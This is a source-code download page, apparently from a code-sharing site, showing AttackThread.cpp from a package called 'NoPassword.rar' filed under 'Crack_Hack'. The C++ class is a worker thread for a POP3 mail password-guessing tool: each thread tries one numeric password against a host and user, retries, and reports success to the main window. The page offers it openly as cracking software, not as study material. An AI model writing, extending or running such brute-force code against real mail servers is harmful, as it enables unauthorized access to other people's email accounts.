Code/Resource
Windows Develop
Linux-Unix program
Internet-Socket-Network
Web Server
Browser Client
Ftp Server
Ftp Client
Browser Plugins
Proxy Server
Email Server
Email Client
WEB Mail
Firewall-Security
Telnet Server
Telnet Client
ICQ-IM-Chat
Search Engine
Sniffer Package capture
Remote Control
xml-soap-webservice
P2P
WEB(ASP,PHP,...)
TCP/IP Stack
SNMP
Grid Computing
SilverLight
DNS
Cluster Service
Network Security
Communication-Mobile
Game Program
Editor
Multimedia program
Graph program
Compiler program
Compress-Decompress algrithms
Crypt_Decrypt algrithms
Mathimatics-Numerical algorithms
MultiLanguage
Disk/Storage
Java Develop
assembly language
Applications
Other systems
Database system
Embeded-SCM Develop
FlashMX/Flex
source in ebook
Delphi VCL
OS Develop
MiddleWare
MPI
MacOS develop
LabView
ELanguage
Software/Tools
E-Books
Artical/Document
AttackThread.cpp
Package: NoPassword.rar [view]
Upload User: chenhai826
Upload Date: 2007-04-11
Package Size: 72k
Code Size: 1k
Category:
Crack_Hack
Development Platform:
Visual C++
- // AttackThread.cpp: implementation of the CAttackThread class.
- //
- //////////////////////////////////////////////////////////////////////
- #include "stdafx.h"
- #include "NoPassword.h"
- #include "AttackThread.h"
- #include "Pop.h"
- #include "ReportParam.h"
- #ifdef _DEBUG
- #undef THIS_FILE
- static char THIS_FILE[]=__FILE__;
- #define new DEBUG_NEW
- #endif
- //////////////////////////////////////////////////////////////////////
- // Construction/Destruction
- //////////////////////////////////////////////////////////////////////
- HWND CAttackThread::m_hMainWnd = NULL;
- CString CAttackThread::m_Host;
- CString CAttackThread::m_User;
- long CAttackThread::m_nNum;
- CAttackThread::CAttackThread(CWnd *pWnd,int nPwd)
- :CThread(pWnd)
- {
- m_nPassword = nPwd;
- }
- CAttackThread::~CAttackThread()
- {
- }
- BOOL CAttackThread::InitWork(void)
- {
- m_pReport = new CReportParam;
- m_pReport->password = m_nPassword;
- m_nTimes = 2;
- return TRUE;
- }
- void CAttackThread::CleanupWork(void)
- {
- InterlockedDecrement(&m_nNum);
- }
- BOOL CAttackThread::Work(void)
- {
- CPop pop;
- m_pReport->nEvent = pop.Connect(m_Host,m_User,m_nPassword);
- pop.Disconnect();
- if((m_pReport->nEvent == REPORT_CONNECT_ERROR ||
- m_pReport->nEvent == REPORT_SUCCEED) && m_nTimes)
- {
- m_nTimes--;
- return TRUE; //Test again
- }
- else
- {
- PostMessage(m_hMainWnd,UM_THREAD_REPORT,m_nNum-1,(long)m_pReport);
- return FALSE;
- }
- }